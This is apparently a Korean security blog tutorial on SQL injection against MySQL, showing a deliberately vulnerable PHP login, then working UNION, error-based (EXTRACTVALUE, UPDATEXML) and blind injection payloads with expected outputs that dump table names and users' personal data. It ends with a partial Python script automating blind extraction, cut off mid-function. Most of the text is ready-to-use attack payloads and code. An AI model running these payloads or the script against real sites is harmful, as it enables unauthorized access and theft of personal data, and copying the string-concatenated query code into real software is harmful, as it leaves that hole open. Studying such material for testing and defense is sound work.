Iblee Blog

SQL Injection

Tue, 10 Feb 2026 00:00:00 +0900

개요 (SQL Injection 이란?)

SQL Injection은 웹 애플리케이션에서 사용자 입력값이 SQL 쿼리에 적절한 검증 없이 포함될 때 발생하는 보안 취약점이다. 공격자는 입력 필드에 악의적인 SQL 구문을 삽입하여, 개발자가 의도하지 않은 SQL 쿼리를 실행시킬 수 있다.

OWASP Top 10에서 꾸준히 상위권을 차지하는 대표적인 웹 취약점 중 하나이며, 성공 시 아래와 같은 피해가 발생할 수 있다.

인증 우회 : 로그인 인증을 우회하여 관리자 권한 획득
데이터 유출 : DB에 저장된 개인정보, 비밀번호 등 민감 데이터 탈취
데이터 변조/삭제 : DB 내 데이터를 임의로 수정하거나 삭제
시스템 명령 실행 : DB 서버의 OS 명령어 실행 (xp_cmdshell 등)
서버 장악 : DB 서버를 거점으로 내부 네트워크 침투

발생 원리

사용자 입력값이 SQL 쿼리 문자열에 직접 결합(concatenation)되면, 입력값 내의 SQL 구문이 쿼리의 일부로 해석된다.

예를 들어, 다음과 같은 로그인 쿼리가 있다고 가정한다.

SELECT * FROM users WHERE username = '입력값' AND password = '입력값'; 

username에 admin' --을 입력하면 쿼리가 다음과 같이 변한다.

SELECT * FROM users WHERE username = 'admin' --' AND password = '아무값'; 

--는 SQL 주석이므로 뒤의 password 조건이 무시되어, 비밀번호 없이 admin 계정으로 로그인할 수 있다.

상세

아래와 같은 테이블이 있다고 가정하자.

user 테이블

칼럼	type	비고
user_number	int	primary key
name	varchar(32)
age	int
address	varchar(256)
phone	varchar(32)
email	varchar(64)

logindata 테이블

칼럼	type	비고
user_number	int	FK (user 테이블의 user_number)
id	varchar(32)	unique
pw	varchar(68)	(sha256 hash)

<form method="POST" action="/loginreq"> id: <input type="text" name="id"> <br/> pw: <input type="password" name="pw"> <br/> <input type="submit" value="Login"> </form> <br/> 

이와 같은 로그인 폼이 있을 때, 다음과 같이 로드될 수 있다.

id: pw:

이 폼에 id, pw를 입력하면 /loginreq 로 POST 요청이 전송된다. form 내 파일이 없으므로, Content-Type은 application/x-www-form-urlencoded가 된다.

POST /loginreq HTTP/1.1 Host: test.iasdf.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 ... Content-Length: xx id=입력값&pw=입력값 

서버에서 /loginreq 를 다음과 같은 로직으로 처리하고 있다고 가정하자. 서버의 코드는 php 언어로 작성되어 있다.

<?php $conn = mysqli_connect("localhost", "dbuser", "dbpass", "testdb"); $id = $_POST['id']; $pw = $_POST['pw']; $pw_hash = hash('sha256', $pw); $query = "SELECT user_number, pw FROM logindata WHERE id = '$id'"; $result = mysqli_query($conn, $query); $row = mysqli_fetch_array($result); if ($row && $pw_hash == $row['pw']) { $user_number = $row['user_number']; $query2 = "SELECT name FROM user WHERE user_number = $user_number"; $result2 = mysqli_query($conn, $query2); $user = mysqli_fetch_array($result2); echo "환영합니다, [" . $user['name'] . "] 님!"; // 세션 처리 및 메인페이지 접속 등 추가 로직 } else { echo "로그인 실패"; } mysqli_close($conn); ?> 

서버의 로직은 다음과 같다.

매칭되는 ID에 대한 user_number와 pw를 logindata 테이블에서 가져온다.
입력된 비밀번호를 sha256 해시하여, DB에서 가져온 pw와 비교한다.
일치하면?
- logindata 테이블에서 가져왔던 user_number 를 가지고 user 테이블에서 user_number에 해당하는 name을 가져와 환영 메시지를 출력한다.
일치하지 않으면?
- “로그인 실패” 메시지를 출력한다.

공격자는 어떻게 SQL Injection을 이용해 인증을 우회하고 접근할 수 있을까?

상황 가정.

나는 우연히 이러한 취약점이 있는 사이트에 홍길동 씨가 mjlover0815 라는 아이디를 사용하는 것을 목격해버렸다.
그러나 패스워드는 input 창이 **** 처리되어 있어 패스워드까지 엿보지는 못했다.

하지만, 이러한 SQL Injection 취약점이 존재할 경우, 아이디만 알고 있어도 다음과 같이 공격할 수 있다.

ID 입력란에 다음과 같이 입력한다.
' UNION SELECT (SELECT user_number FROM logindata WHERE id='mjlover0815'), '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08' --
Password 입력란에는 test를 입력한다.
왜냐하면 위 UNION SQL Injection에서 주입한 비밀번호 해시 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 가 test의 sha256 해시값이기 때문이다.

이 경우 WAS에서 실행되는 전체 SQL 쿼리는 다음과 같이 진행된다.

SELECT user_number, pw FROM logindata WHERE id = '' UNION SELECT (SELECT user_number FROM logindata WHERE id='mjlover0815'), '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08' --'

DB에서 ID가 ‘‘(빈값) 인 레코드의 user_number, pw 필드와 mjlover0815의 user_number, test의 sha256 해시값이 합쳐진 결과가 반환된다.
그러나, ID가 ‘‘(빈값) 인 레코드는 존재하지 않으므로, 첫 번째 레코드는 무시된다.
따라서, mjlover0815의 user_number와 test의 sha256 해시값이 반환된다.
우리는 test에 대한 sha256 해시값을 넣었으므로, DB에서 가져온 pw와 일치하게 된다.
결국, 우리는 mjlover0815 계정으로 인증을 우회하여 로그인에 성공하게 된다.

공격 방법

UNION SQL Injection

하지만, 문제가 있다.
방금 사례에서는 웹서버 소스코드를 정확히 알고 있었기에 어떤 공격을 해야 하는지 알 수 있었다.
그러나, 실제로 웹 사이트를 공격할 때에는 웹서버 소스코드를 알 수 없는 경우가 대부분이다.
따라서, 공격자는 다양한 SQL Injection 페이로드를 시도하여 SQL 공격 구문이 무엇인지를 예측해야 한다.

그럼 어떻게 이러한 공격을 시도해볼 수 있을까?

본 섹션에서는 SQL Injection 공격에 대해 MySQL 데이터베이스를 기준으로 설명한다.
MySQL 외에도 MSSQL, Oracle, PostgreSQL 등 다양한 DBMS가 존재하며, 각 DBMS에 따라서 공격 구문이 다를 수 있음에 유의해야 한다.

select user_number, name, email from user where phone = '입력값' 인 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.

우선 항등원으로 공격을 시도해, SQL Injection이 되는지 확인해야 한다.
- 항등원: 임의의 수에 어떤 수를 연산을 해 주었는데 연산 결과가 연산 전과 항상 같을 때 어떤 수를 그 연산에 대한 항등원이라 한다.
- 예를 들어, 나의 ID가 testuser 라고 가정할 때, testuser' AND '1'='1 과 같이 값을 붙여 전송해본다.
- testuser' AND '1'='1 이라는 ID는 없지만, 이것이 SQL 쿼리로 동작할 경우, 항등원이기 때문에 참이된다.
  - 이것을 이용하여, 이 쿼리를 통해 로그인에 성공하면, SQL Injection이 가능하다는 것을 알 수 있다. - 이 항등원에 대한 쿼리는 웹 서버의 쿼리에 따라서 다양하게 변형될 수 있다.
- 예: testuser' OR '1'='1, testuser' AND 1=1-- , testuser' OR 1=1-- 등
- LIKE 구문이 사용될 경우, 아래와 같은 쿼리가 있다고 가정해 보자.
- SELECT * FROM table WHERE column LIKE '%입력값%'
- 이 경우 항등원은 search_data%' AND '%'=' 로 시도해볼 수 있다.
  - SELECT * FROM table WHERE column LIKE '%search_data%' AND '%'='%'
  - 이 결과값이 search_data 만 입력했을 때 나온 결과와 동일하다면, SQL Injection이 가능하다는 것을 알 수 있다.

input value: 010-1111-2222' AND '1'='1 expected: 이 값이, '010-1111-2222' 만 입력했을 때와 동일한 결과를 반환한다면, SQL Injection이 가능하다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND '1'='1' 

항등원 공격을 통해 SQL Injection이 가능하다는 것을 확인했으면, 이제는 쿼리의 구조를 파악해야 하고, 출력되는 칼럼이 어떤 칼럼인지 파악해야 한다.
- 공격 방법에는 UNION SQL Injection, ERROR Based SQL Injection, Blind SQL Injection 등이 있다.
- UNION, ERROR, BLIND 등의 공격 방법은 기본적으로 UNION 쿼리를 사용한다는 공통점이 있다.
- UNION 쿼리는 두 개 이상의 SELECT 쿼리의 결과를 합쳐서 하나의 결과로 반환하는 기능이다.
- 공격자는 UNION 쿼리에 자신이 원하는 쿼리를 삽입하여, DB에서 민감한 정보를 추출할 수 있다.
- 그러나, UNION 쿼리를 사용하기 위해서는 몇 가지 조건이 필요하다.
- 첫째, UNION으로 합쳐지는 SELECT 쿼리들은 동일한 수의 칼럼을 반환해야 한다.
- 둘째, 각 칼럼의 데이터 타입이 호환되어야 한다. - 따라서, 공격자는 먼저 대상 쿼리가 몇 개의 칼럼을 반환하는지 알아내야 한다.
- 이를 위해서는 ORDER BY 절을 이용할 수 있다.
- 예를 들어, testuser' ORDER BY 1-- , testuser' ORDER BY 2-- , testuser' ORDER BY 3-- 와 같이 시도해본다.
- 만약 ORDER BY 3-- 에서 오류가 발생한다면, 대상 쿼리는 2개의 칼럼을 반환한다는 것을 알 수 있다. - 칼럼 수를 알아냈다면, 이제는 각 칼럼의 데이터 타입을 알아내야 한다.
- 이를 위해서는 UNION SELECT 구문을 이용할 수 있다.
- 예를 들어, testuser' UNION SELECT 1, 'a'-- , testuser' UNION SELECT 'a', 1-- 와 같이 시도해본다.
- 만약 UNION SELECT 1, 'a'-- 에서 오류가 발생한다면, 첫 번째 칼럼은 문자열 타입이라는 것을 알 수 있다.
- 이 과정을 반복하여 각 칼럼의 데이터 타입을 알아낼 수 있다.

칼럼 수 및 타입을 알아냈다고 해서, 끝난 것이 아니다.
왜냐하면, 조회하는 칼럼 수와, 실제 보여지는 칼럼이 다를 수 있기 때문이다.
예를 들어, SELECT user_number, name, email FROM user WHERE phone = '입력값' 라는 쿼리가 있으나, 웹에서 데이터를 뿌려줄 때에는 실제로는 name, email 칼럼만 화면에 출력될 수도 있다.
- 이 경우, user_number 칼럼 위치에 UNION 쿼리를 삽입해 데이터를 조회할 경우, 화면에 출력되지 않으므로, 공격자는 원하는 데이터를 볼 수 없다.
이하 예제에서는 두 번째, 세 번째 칼럼만 화면에 출력된다고 가정한다.
두 번째 칼럼 -> 테이블의 첫 번째 열에 출력
세 번째 칼럼 -> 테이블의 두 번째 열에 출력

input value: 010-1111-2222' ORDER BY 1 -- expected: 정상적으로 쿼리가 수행된다면, 1개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222' ORDER BY 2 -- expected: 정상적으로 쿼리가 수행된다면, 2개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222' ORDER BY 3 -- expected: 정상적으로 쿼리가 수행된다면, 3개의 칼럼 이상이 존재한다는 것을 알 수 있다. input value: 010-1111-2222' ORDER BY 4 -- expected: 정상적으로 쿼리가 수행된다면, 4개의 칼럼 이상이 존재한다는 것을 알 수 있다. ... 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 1 --' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 2 --' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 3 --' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 4 --' -> ERROR! 또는 결과 없음. -> 조회하는 칼럼 수는 3개라는 것을 알 수 있다. 

칼럼 수와 데이터 타입을 알아냈다면, 이제는 DB 및 테이블의 구조를 확인해야 한다.
- MySQL의 경우, DB명을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
- select database() - MySQL의 경우 테이블 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
- select table_name from information_schema.tables where table_schema = '<db_name>'
- 서브쿼리를 사용해 위 DB명을 확인하는 코드를 가지고, 하나의 쿼리로 DB에 대한 테이블 목록을 확인할 수도 있다.
  - select table_name from information_schema.tables where table_schema = (select database())

input: 010-1111-2222' UNION SELECT 'hack complete!', table_name, 'hack complete!' FROM information_schema.tables WHERE table_schema = (select database()) -- expected: 테이블의 첫 번째 열에, 두 번째 칼럼에 해당하는 현재 DB의 테이블 목록이 출력된다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' UNION SELECT 'hack complete!', table_name, 'hack complete!' FROM information_schema.tables WHERE table_schema = (select database()) -- ' 

이름	이메일
jackson	jackson@test.com
user	hack complete!
logindata	hack complete!
… 기타 테이블 …	hack complete!

정보를 획득하고자 하는 테이블을 정했다면, 이제는 해당 테이블의 칼럼 목록을 확인해야 한다.
- MySQL의 경우 테이블의 칼럼 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
- select column_name from information_schema.columns where table_name = '<table_name>'

input: 010-1111-2222' UNION SELECT 'hack complete!', column_name, 'hack complete!' FROM information_schema.columns WHERE table_name = 'user' -- expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 칼럼 목록이 출력된다. 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' UNION SELECT 'hack complete!', column_name, 'hack complete!' FROM information_schema.columns WHERE table_name = 'user' -- ' 

이름	이메일
jackson	jackson@test.com
user_number	hack complete!
name	hack complete!
age	hack complete!
address	hack complete!
phone	hack complete!
email	hack complete!

칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.

input: 010-1111-2222' UNION SELECT 'hack complete!', CONCAT(name, ' : ', email, ' : ', phone), address FROM user -- expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 name, email, phone 칼럼의 데이터가, 테이블의 두 번째 열에 세 번째 칼럼에 address 칼럼의 데이터가 출력된다. 두 번째 열에 CONCAT 함수를 사용하여 여러 칼럼의 데이터를 하나의 문자열로 합쳐 출력할 수 있다. 

이름	이메일
jackson	jackson@test.com
hong gil dong : gildong@test.com : 010-1234-5678	123 Seoul St.
lee sun shin : sshLee@googletest.com : 010-9876-5432	456 Busan Ave.
jackson : jackson@test.com : 010-5555-6666	789 Incheon Rd.
… 기타 데이터 …	… 기타 데이터 …

Error Based SQL Injection

간혹, MySQL의 에러 메시지 또는 에러 페이지가 화면에 출력되는 경우가 있다.
공격자는 이것을 놓치지 않고, 당연히 공격에 사용할 수 있어야 한다.

예를 들어, MySQL의 EXTRACTVALUE() 라는 함수를 사용해, 강제로 에러를 유발시켜
에러 메시지에 쿼리 데이터를 포함시키게 만드는 방법을 사용할 수 있다.

EXTRACTVALUE(xml_doc, xpath_expr)는 MySQL의 XML 함수인데, 잘못된 XPath 표현식을 넣으면 에러 메시지에 쿼리 결과가 노출된다.
XPath 표현식에 0x7e (물결표 기호 ~) 같은 유효하지 않은 문자를 만들어 강제로 에러를 유발시킨다.

' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) -- XPATH syntax error: '~5.7.34' 

공격 과정은 UNION SQL Injection과 유사하지만, 몇 가지 차이점이 있다.

UNION SQL Injection과의 차이점:

UNION SQL Injection은 쿼리 결과가 화면에 직접 출력되어야 하지만, Error Based SQL Injection은 에러 메시지만 출력되면 공격이 가능하다.
UNION SQL Injection은 칼럼 수를 맞춰야 하지만, Error Based SQL Injection은 AND 조건절에서 바로 사용할 수 있어 칼럼 수를 맞출 필요가 없다.
대신, EXTRACTVALUE()의 에러 메시지는 최대 32자까지만 출력되므로, 긴 데이터는 SUBSTRING()으로 잘라서 확인해야 한다.

동일하게 select user_number, name, email from user where phone = '입력값' 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.

SQL Injection 가능 여부 확인은 UNION SQL Injection과 동일하게 항등원으로 확인한다. (위 UNION SQL Injection 항목 참고)
항등원 확인이 되었다면, EXTRACTVALUE()를 사용해 DB 버전 및 DB명을 확인한다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) -- expected: 에러 메시지에 DB 버전이 출력된다. 에러: XPATH syntax error: '~5.7.34' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) --' 

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, database())) -- expected: 에러 메시지에 현재 DB명이 출력된다. 에러: XPATH syntax error: '~testdb' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, database())) --' 

테이블 목록을 추출한다.
- 서브쿼리는 하나의 값만 반환해야 하므로, GROUP_CONCAT()을 사용하여 여러 행을 하나의 문자열로 합쳐 추출하거나, LIMIT을 사용하여 한 행씩 추출한다.
- 단, 32자 제한이 있으므로 GROUP_CONCAT() 결과가 32자를 초과하면 잘린다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) -- expected: 에러 메시지에 현재 DB의 테이블 목록이 출력된다. 에러: XPATH syntax error: '~user,logindata' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) --' 

테이블이 많아 32자를 초과할 경우, LIMIT을 사용하여 한 행씩 추출한다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) -- 에러: XPATH syntax error: '~user' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --' input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) -- 에러: XPATH syntax error: '~logindata' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) --' 

정보를 획득하고자 하는 테이블의 칼럼 목록을 추출한다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'))) -- expected: 에러 메시지에 user 테이블의 칼럼 목록이 출력된다. 에러: XPATH syntax error: '~user_number,name,age,address,ph' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'))) --' 

32자 제한으로 인해 ~user_number,name,age,address,ph 까지만 출력되었다.
나머지 칼럼명을 확인하기 위해 SUBSTRING()을 사용한다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'), 32, 32))) -- 에러: XPATH syntax error: '~one,email' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'), 32, 32))) --' 

이로써 user 테이블의 전체 칼럼 목록 (user_number, name, age, address, phone, email)을 확인할 수 있다.

칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 0,1))) -- expected: 에러 메시지에 user 테이블의 첫 번째 행의 name, email 데이터가 출력된다. 에러: XPATH syntax error: '~hong gil dong:gildong@test.com' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 0,1))) --' input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1))) -- 에러: XPATH syntax error: '~lee sun shin:sshLee@googletest.' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1))) --' 

32자 제한으로 인해 데이터가 잘릴 경우, SUBSTRING()을 함께 사용하여 나머지 데이터를 확인한다.

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1), 32, 32))) -- 에러: XPATH syntax error: '~com' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1), 32, 32))) --' 

이렇게 Error Based SQL Injection은 에러 메시지를 통해 데이터를 한 조각씩 추출하는 방식으로, UNION SQL Injection과 동일한 정보를 획득할 수 있다.

UPDATEXML()

EXTRACTVALUE()와 동일한 원리로, UPDATEXML() 함수도 Error Based SQL Injection에 활용할 수 있다.

UPDATEXML(xml_doc, xpath_expr, new_value) 

input: 010-1111-2222' AND UPDATEXML(1, CONCAT(0x7e, database()), 1) -- 에러: XPATH syntax error: '~testdb' 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND UPDATEXML(1, CONCAT(0x7e, database()), 1) --' 

EXTRACTVALUE()와 마찬가지로 32자 제한이 동일하게 적용되며, 사용 방법도 동일하다.
EXTRACTVALUE()가 필터링되는 환경에서 대체 수단으로 활용할 수 있다.

Blind SQL Injection은 쿼리 결과가 화면에 직접 출력되지 않거나, 에러 메시지도 출력되지 않는 경우에 사용되는 기법이다. (단순히 쿼리 결과에 대한 참/거짓만 알 수 있는 경우)

예를 들어서, 아이디 중복조회 기능에서 SQL Injection이 가능하다고 가정해 보자. 이 경우, 우리는 아이디가 중복인지 아닌지에 대한 참/거짓 정보만 알 수 있다.

<?php $id=$_POST['id']; $sql="SELECT EXISTS(SELECT 1 FROM logindata WHERE id = '$id')"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if ($row[0]) { echo "이미 존재하는 아이디입니다."; } else { echo "사용 가능한 아이디입니다."; } ?> 

이러한 곳에서 위 BLIND SQL Injection, ERROR Based SQL Injection 공격을 사용할 경우, 실제 결과 값을 웹에 출력하지 않으므로, 공격자는 쿼리 결과에 대한 데이터를 추출할 수 없다.
따라서, 공격자는 참/거짓 결과를 이용해 데이터를 한 글자씩 추출하는 방식을 사용해야 한다.

한 글자씩 어떻게 추출할 수 있을까?

SELECT DATABASE() 함수의 결과가 testdb 라고 가정해 보자.
SELECT SUBSTRING(DATABASE(), 1, 1) 를 사용하면, testdb의 첫 번째 글자 t를 얻을 수 있다.
- SUBSTRING 대신, MID, SUBSTR 등의 함수도 사용할 수 있다.
SUBSTRING 함수를 이용해, 한 글자씩 노가다를 해야 한다.
- SELECT DATABASE의 첫 번째 글자가 ‘a’ 입니까? (참/거짓)
  - SELECT SUBSTRING(DATABASE(), 1, 1) = 'a' → 거짓
- SELECT DATABASE의 첫 번째 글자가 ‘b’ 입니까? (참/거짓)
  - SELECT SUBSTRING(DATABASE(), 1, 1) = 'b' → 거짓
- SELECT DATABASE의 첫 번째 글자가 ‘c’ 입니까? (참/거짓)
  - SELECT SUBSTRING(DATABASE(), 1, 1) = 'c' → 거짓
- …
- SELECT DATABASE의 첫 번째 글자가 ‘t’ 입니까? (참/거짓)
  - SELECT SUBSTRING(DATABASE(), 1, 1) = 't' → 참!
- 이렇게 해서 첫 번째 글자 ‘t’를 알아냈다.
동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.

하지만 이 방법은 너무 느리고 비효율적이다.
따라서, 이진 탐색(Binary Search) 기법을 사용하여 글자를 추출할 수 있다.
글자를 ASCII 코드 값으로 변환하여, 특정 범위 내에 있는지 확인하는 방식이다.

-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 64보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 64 -- 't' = 116이므로 116 > 64 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 96보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 96 -- 't' = 116이므로 116 > 96 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 112보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 112 -- 't' = 116이므로 116 > 112 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 120보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 120 -- 't' = 116이므로 116 > 120 → 거짓 (113,114,115,116,117,118,119) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 116 -- 't' = 116이므로 116 > 116 → 거짓 (113,114,115,116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 114보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) > 114 -- 't' = 116이므로 116 > 114 → 참 (115,116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 115인가? ASCII(SUBSTRING(DATABASE(), 1, 1)) == 115 -- 't' = 116이므로 116 == 115 → 거짓 (116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116인가? ASCII(SUBSTRING(DATABASE(), 1, 1)) == 116 -- 't' = 116이므로 116 == 116 → 참

첫 번째 글자 ‘t’를 알아냈다.
동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.

위와 같은 방식으로, Blind SQL Injection을 통해
데이터베이스 이름, 테이블 목록, 칼럼 목록, 데이터 값 등을 한 글자씩 추출할 수 있다.

블라인드 SQL 인젝션 공격은, 사람의 손으로 하기에는 너무 느리고 비효율적이다.
따라서, 자동화 스크립트를 작성하여 공격하는 것이 일반적이다.

필자도, 학습 용도로 사용할 수 있는 간단한 Blind SQL Injection 자동화 스크립트를 작성해 보았다.
아래 코드는 Python3으로 작성되었으며, MySQL / MariaDB 데이터베이스를 대상으로 한다.

ASCII 및 한글, 이모지 등을 추출할 수 있도록 CONV(HEX(CONVERT(...))) 방식을 사용하였다.
특히, 요즘에는 AI를 활용해 자동화 공격 스크립트를 간단하게 만들어낼 수 있으므로, 이러한 공격에 더욱 주의해야 한다.

#!/usr/bin/env python3  # SELECT ASCII(SUBSTR('test', 1,1)) # (SELECT COUNT((select database())))  # select ORD(SUBSTR('안녕😀', 3, 1)); -> 약 41억, 그냥 signed int 최대값인 4294967295 로 계산해도 될 듯 하다. # select ORD(SUBSTR((select '안녕😀 hello'),3,1)); # select ORD(SUBSTR((sele))) # 실제 최대 값은 4103061439 (0x10FFFF) 으로, 유니코드 최대 값이다. #select CONV(HEX(CONVERT(SUBSTR('안녕😀', 1, 1) USING ucs2)), 16, 10);  # 주의, 이 스크립트는 MySQL / MariaDB 의 Blind SQL Injection 공격 학습 및 모의 해킹 테스트 용도로 제작되었습니다. # 그 외 공격에 이 스크립트를 사용할 경우, 법적 책임은 전적으로 사용자에게 있습니다.  TOTAL_REQUESTS = 0 import json import requests def check_point(sql) -> bool: global TOTAL_REQUESTS # 공격 대상 URL  URL = "<HACKING URL>" # 공격 헤더  headers= { 'Content-Type': 'application/x-www-form-urlencoded' } # Blind SQL Injection 페이로드  data = { "query": f"testuser' and ({sql}) and '1'='1" } # testuser' and (SELECT LENGTH(DATABASE()) < 64) and '1'='1  res = requests.post(URL, headers=headers, data=data, timeout=3, verify=False, allow_redirects=False) TOTAL_REQUESTS += 1 if (res.status_code != 200): print(f"[{res.status_code}] HTTP Error") return False if (res.text.find("존재하는") < 0): return False return True # MySQL ORD() 값을 문자로 변환 def ord_to_char(ord_value): """ MySQL ORD() 값을 UTF-8 문자로 변환 ORD()는 멀티바이트 문자의 바이트들을 조합한 값을 반환 """ if ord_value < 128: # ASCII  return chr(ord_value) # 멀티바이트: ORD 값을 바이트로 분해 후 UTF-8 디코딩  bytes_list = [] while ord_value > 0: bytes_list.insert(0, ord_value & 0xFF) ord_value >>= 8 return bytes(bytes_list).decode('utf-8') # 문자 범위 감지 및 이진 탐색으로 ORD 값 추출 def extract_ord_value(target_sql): """ target_sql: ORD(SUBSTR(...)) 형태의 SQL 표현식 범위 체크 후 최적화된 이진 탐색으로 ORD 값 추출 """ # 범위 체크: ASCII < 128 < 한글/유니코드 < 16000000 < 이모지  sql = f"({target_sql}) < 128" if check_point(sql): # ASCII 범위 (32 ~ 127)  char_type = "ASCII" low, high = 32, 127 else: sql = f"({target_sql}) < 16000000" if check_point(sql): # 한글/유니코드 범위  char_type = "Unicode" low, high = 128, 16000000 else: # 이모지 범위 (최대 약 41억)  char_type = "Emoji" low, high = 16000000, 4294967295 # 이진 탐색  while low <= high: mid = (low + high) // 2 sql = f"({target_sql}) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 return low, char_type # check database in blind SQL Injection def blindsql_attack_database() -> str: """ select database() Blind SQL Injection으로 데이터베이스 이름 추출 한글, 이모지 등 유니코드 문자 지원 ' OR (ORD(SUBSTR((SELECT DATABASE()),1,1)) > binary_search) ' """ database_name = "" # 1. 데이터베이스 이름 길이 확인 (LENGTH 사용 - 문자 수 기준, 이진 탐색)  low, high = 1, 64 while low <= high: mid = (low + high) // 2 sql = f"(SELECT LENGTH(DATABASE())) > {mid}" print(mid) if check_point(sql): low = mid + 1 else: high = mid - 1 db_length = low # 길이가 0이면 DB가 없거나 에러  if db_length == 0 or db_length > 64: print("[-] Could not determine database length") return "" print(f"[+] Database length: {db_length}") # 2. 각 문자를 범위 체크 + 이진 탐색으로 추출  for pos in range(1, db_length + 1): 